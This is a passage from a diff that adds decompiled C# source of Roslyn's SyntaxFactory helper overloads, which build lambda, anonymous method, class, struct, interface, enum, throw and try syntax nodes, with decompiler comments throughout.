parameter, arrowToken, null, (Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax)body); + } + return SimpleLambdaExpression(asyncKeyword, parameter, arrowToken, block, null); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ParenthesizedLambdaExpressionSyntax ParenthesizedLambdaExpression(CSharpSyntaxNode body) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return ParenthesizedLambdaExpression(ParameterList(), body); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ParenthesizedLambdaExpressionSyntax ParenthesizedLambdaExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, CSharpSyntaxNode body) + { + if (!(body is Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax block)) + { + return ParenthesizedLambdaExpression(parameterList, null, (Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax)body); + } + return ParenthesizedLambdaExpression(parameterList, block, null); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ParenthesizedLambdaExpressionSyntax ParenthesizedLambdaExpression(SyntaxToken asyncKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, SyntaxToken arrowToken, CSharpSyntaxNode body) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + if (!(body is Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax block)) + { + return ParenthesizedLambdaExpression(asyncKeyword, parameterList, arrowToken, null, (Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax)body); + } + return ParenthesizedLambdaExpression(asyncKeyword, parameterList, arrowToken, block, null); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AnonymousMethodExpressionSyntax AnonymousMethodExpression(CSharpSyntaxNode body) + { + return AnonymousMethodExpression(null, body); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AnonymousMethodExpressionSyntax AnonymousMethodExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax? parameterList, CSharpSyntaxNode body) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + if (!(body is Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax block)) + { + throw new ArgumentException("body"); + } + return SyntaxFactory.AnonymousMethodExpression(default(SyntaxTokenList), Token(SyntaxKind.DelegateKeyword), parameterList, block, (Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax?)null); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AnonymousMethodExpressionSyntax AnonymousMethodExpression(SyntaxToken asyncKeyword, SyntaxToken delegateKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, CSharpSyntaxNode body) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + if (!(body is Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax block)) + { + throw new ArgumentException("body"); + } + return AnonymousMethodExpression(asyncKeyword, delegateKeyword, parameterList, block, null); + } + + [Obsolete("The diagnosticOptions parameter is obsolete due to performance problems, if you are passing non-null use CompilationOptions.SyntaxTreeOptionsProvider instead", false)] + [EditorBrowsable(EditorBrowsableState.Never)] + public static SyntaxTree ParseSyntaxTree(string text, ParseOptions? options, string path, Encoding? encoding, ImmutableDictionary? diagnosticOptions, CancellationToken cancellationToken) + { + return ParseSyntaxTree(SourceText.From(text, encoding, (SourceHashAlgorithm)1), options, path, diagnosticOptions, null, cancellationToken); + } + + [Obsolete("The diagnosticOptions parameter is obsolete due to performance problems, if you are passing non-null use CompilationOptions.SyntaxTreeOptionsProvider instead", false)] + [EditorBrowsable(EditorBrowsableState.Never)] + public static SyntaxTree ParseSyntaxTree(SourceText text, ParseOptions? options, string path, ImmutableDictionary? diagnosticOptions, CancellationToken cancellationToken) + { + return CSharpSyntaxTree.ParseText(text, (CSharpParseOptions)(object)options, path, diagnosticOptions, null, cancellationToken); + } + + [EditorBrowsable(EditorBrowsableState.Never)] + [Obsolete("The diagnosticOptions and isGeneratedCode parameters are obsolete due to performance problems, if you are using them use CompilationOptions.SyntaxTreeOptionsProvider instead", false)] + public static SyntaxTree ParseSyntaxTree(string text, ParseOptions? options, string path, Encoding? encoding, ImmutableDictionary? diagnosticOptions, bool? isGeneratedCode, CancellationToken cancellationToken) + { + return ParseSyntaxTree(SourceText.From(text, encoding, (SourceHashAlgorithm)1), options, path, diagnosticOptions, isGeneratedCode, cancellationToken); + } + + [EditorBrowsable(EditorBrowsableState.Never)] + [Obsolete("The diagnosticOptions and isGeneratedCode parameters are obsolete due to performance problems, if you are using them use CompilationOptions.SyntaxTreeOptionsProvider instead", false)] + public static SyntaxTree ParseSyntaxTree(SourceText text, ParseOptions? options, string path, ImmutableDictionary? diagnosticOptions, bool? isGeneratedCode, CancellationToken cancellationToken) + { + return CSharpSyntaxTree.ParseText(text, (CSharpParseOptions)(object)options, path, diagnosticOptions, isGeneratedCode, cancellationToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.OperatorMemberCrefSyntax OperatorMemberCref(SyntaxToken operatorKeyword, SyntaxToken operatorToken, Microsoft.CodeAnalysis.CSharp.Syntax.CrefParameterListSyntax? parameters) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + return OperatorMemberCref(operatorKeyword, default(SyntaxToken), operatorToken, parameters); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ConversionOperatorMemberCrefSyntax ConversionOperatorMemberCref(SyntaxToken implicitOrExplicitKeyword, SyntaxToken operatorKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, Microsoft.CodeAnalysis.CSharp.Syntax.CrefParameterListSyntax? parameters) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return ConversionOperatorMemberCref(implicitOrExplicitKeyword, operatorKeyword, default(SyntaxToken), type, parameters); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ClassDeclarationSyntax ClassDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken keyword, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterListSyntax? typeParameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BaseListSyntax? baseList, SyntaxList constraintClauses, SyntaxToken openBraceToken, SyntaxList members, SyntaxToken closeBraceToken, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + return ClassDeclaration(attributeLists, modifiers, keyword, identifier, typeParameterList, null, baseList, constraintClauses, openBraceToken, members, closeBraceToken, semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ClassDeclarationSyntax ClassDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterListSyntax? typeParameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BaseListSyntax? baseList, SyntaxList constraintClauses, SyntaxList members) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return ClassDeclaration(attributeLists, modifiers, identifier, typeParameterList, null, baseList, constraintClauses, members); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ClassDeclarationSyntax ClassDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterListSyntax? typeParameterList, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax? parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BaseListSyntax? baseList, SyntaxList constraintClauses, SyntaxList members) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + return ClassDeclaration(attributeLists, modifiers, Token(SyntaxKind.ClassKeyword), identifier, typeParameterList, parameterList, baseList, constraintClauses, Token(SyntaxKind.OpenBraceToken), members, Token(SyntaxKind.CloseBraceToken), default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ClassDeclarationSyntax ClassDeclaration(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + return ClassDeclaration(default(SyntaxList), default(SyntaxTokenList), Token(SyntaxKind.ClassKeyword), identifier, null, null, null, default(SyntaxList), Token(SyntaxKind.OpenBraceToken), default(SyntaxList), Token(SyntaxKind.CloseBraceToken), default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ClassDeclarationSyntax ClassDeclaration(string identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + return ClassDeclaration(default(SyntaxList), default(SyntaxTokenList), Token(SyntaxKind.ClassKeyword), Identifier(identifier), null, null, null, default(SyntaxList), Token(SyntaxKind.OpenBraceToken), default(SyntaxList), Token(SyntaxKind.CloseBraceToken), default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.StructDeclarationSyntax StructDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken keyword, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterListSyntax? typeParameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BaseListSyntax? baseList, SyntaxList constraintClauses, SyntaxToken openBraceToken, SyntaxList members, SyntaxToken closeBraceToken, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + return StructDeclaration(attributeLists, modifiers, keyword, identifier, typeParameterList, null, baseList, constraintClauses, openBraceToken, members, closeBraceToken, semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.StructDeclarationSyntax StructDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterListSyntax? typeParameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BaseListSyntax? baseList, SyntaxList constraintClauses, SyntaxList members) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return StructDeclaration(attributeLists, modifiers, identifier, typeParameterList, null, baseList, constraintClauses, members); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.StructDeclarationSyntax StructDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterListSyntax? typeParameterList, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax? parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BaseListSyntax? baseList, SyntaxList constraintClauses, SyntaxList members) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + return StructDeclaration(attributeLists, modifiers, Token(SyntaxKind.StructKeyword), identifier, typeParameterList, parameterList, baseList, constraintClauses, Token(SyntaxKind.OpenBraceToken), members, Token(SyntaxKind.CloseBraceToken), default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.StructDeclarationSyntax StructDeclaration(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + return StructDeclaration(default(SyntaxList), default(SyntaxTokenList), Token(SyntaxKind.StructKeyword), identifier, null, null, null, default(SyntaxList), Token(SyntaxKind.OpenBraceToken), default(SyntaxList), Token(SyntaxKind.CloseBraceToken), default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.StructDeclarationSyntax StructDeclaration(string identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + return StructDeclaration(default(SyntaxList), default(SyntaxTokenList), Token(SyntaxKind.StructKeyword), Identifier(identifier), null, null, null, default(SyntaxList), Token(SyntaxKind.OpenBraceToken), default(SyntaxList), Token(SyntaxKind.CloseBraceToken), default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.InterfaceDeclarationSyntax InterfaceDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken keyword, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterListSyntax? typeParameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BaseListSyntax? baseList, SyntaxList constraintClauses, SyntaxToken openBraceToken, SyntaxList members, SyntaxToken closeBraceToken, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + return InterfaceDeclaration(attributeLists, modifiers, keyword, identifier, typeParameterList, null, baseList, constraintClauses, openBraceToken, members, closeBraceToken, semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.InterfaceDeclarationSyntax InterfaceDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterListSyntax? typeParameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BaseListSyntax? baseList, SyntaxList constraintClauses, SyntaxList members) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + return InterfaceDeclaration(attributeLists, modifiers, Token(SyntaxKind.InterfaceKeyword), identifier, typeParameterList, baseList, constraintClauses, Token(SyntaxKind.OpenBraceToken), members, Token(SyntaxKind.CloseBraceToken), default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.InterfaceDeclarationSyntax InterfaceDeclaration(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + return InterfaceDeclaration(default(SyntaxList), default(SyntaxTokenList), Token(SyntaxKind.InterfaceKeyword), identifier, null, null, default(SyntaxList), Token(SyntaxKind.OpenBraceToken), default(SyntaxList), Token(SyntaxKind.CloseBraceToken), default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.InterfaceDeclarationSyntax InterfaceDeclaration(string identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + return InterfaceDeclaration(default(SyntaxList), default(SyntaxTokenList), Token(SyntaxKind.InterfaceKeyword), Identifier(identifier), null, null, default(SyntaxList), Token(SyntaxKind.OpenBraceToken), default(SyntaxList), Token(SyntaxKind.CloseBraceToken), default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.EnumDeclarationSyntax EnumDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.BaseListSyntax? baseList, SeparatedSyntaxList members) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + return EnumDeclaration(attributeLists, modifiers, Token(SyntaxKind.EnumKeyword), identifier, baseList, Token(SyntaxKind.OpenBraceToken), members, Token(SyntaxKind.CloseBraceToken), default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.EnumDeclarationSyntax EnumDeclaration(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + return EnumDeclaration(default(SyntaxList), default(SyntaxTokenList), Token(SyntaxKind.EnumKeyword), identifier, null, Token(SyntaxKind.OpenBraceToken), default(SeparatedSyntaxList), Token(SyntaxKind.CloseBraceToken), default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.EnumDeclarationSyntax EnumDeclaration(string identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + return EnumDeclaration(default(SyntaxList), default(SyntaxTokenList), Token(SyntaxKind.EnumKeyword), Identifier(identifier), null, Token(SyntaxKind.OpenBraceToken), default(SeparatedSyntaxList), Token(SyntaxKind.CloseBraceToken), default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ThrowStatementSyntax ThrowStatement(SyntaxToken throwKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return ThrowStatement(default(SyntaxList), throwKeyword, expression, semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.TryStatementSyntax TryStatement(Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax block, SyntaxList catches, Microsoft.CodeAnalysis.CSharp.Syntax.FinallyClauseSyntax? @finally) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return TryStatement(default(SyntaxList), block, catches, @finally); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.TryStatementSyntax TryStatement(SyntaxToken tryKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax block, SyntaxList catches, Microsoft.CodeAnalysis.CSharp.Syntax.FinallyClauseSyntax? @finally) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return TryStatement(default(SyntaxList), tryKeyword, block, catches, @finally); + } + + internal static SyntaxKind GetTypeDeclarationKeywordKind(DeclarationKind kind) + { + return kind switch + { + DeclarationKind.Class => SyntaxKind.ClassKeyword, + DeclarationKind.Struct => SyntaxKind.StructKeyword, + DeclarationKind.Interface => SyntaxKind.InterfaceKeyword, + _ => throw ExceptionUtilities.UnexpectedValue((object)kind), + }; + } + + private static SyntaxKind GetTypeDeclarationKeywordKind(SyntaxKind kind) + { + switch (kind) + { + case SyntaxKind.ClassDeclaration: + return SyntaxKind.ClassKeyword; + case SyntaxKind.StructDeclaration: + return SyntaxKind.StructKeyword; + case SyntaxKind.InterfaceDeclaration: + return SyntaxKind.InterfaceKeyword; + case SyntaxKind.RecordDeclaration: + case SyntaxKind.RecordStructDeclaration: + return SyntaxKind.RecordKeyword; + default: + throw ExceptionUtilities.UnexpectedValue((object)kind); + } + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.TypeDeclarationSyntax TypeDeclaration(SyntaxKind kind, SyntaxToken identifier) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + return TypeDeclaration(kind, default(SyntaxList), default(SyntaxTokenList), Token(GetTypeDeclarationKeywordKind(kind)), identifier, null, null, default(SyntaxList), Token(SyntaxKind.OpenBraceToken), default(SyntaxList), Token(SyntaxKind.CloseBraceToken), default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.TypeDeclarationSyntax TypeDeclaration(SyntaxKind kind, string identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return TypeDeclaration(kind, Identifier(identifier)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.TypeDeclarationSyntax TypeDeclaration(SyntaxKind kind, SyntaxList attributes, 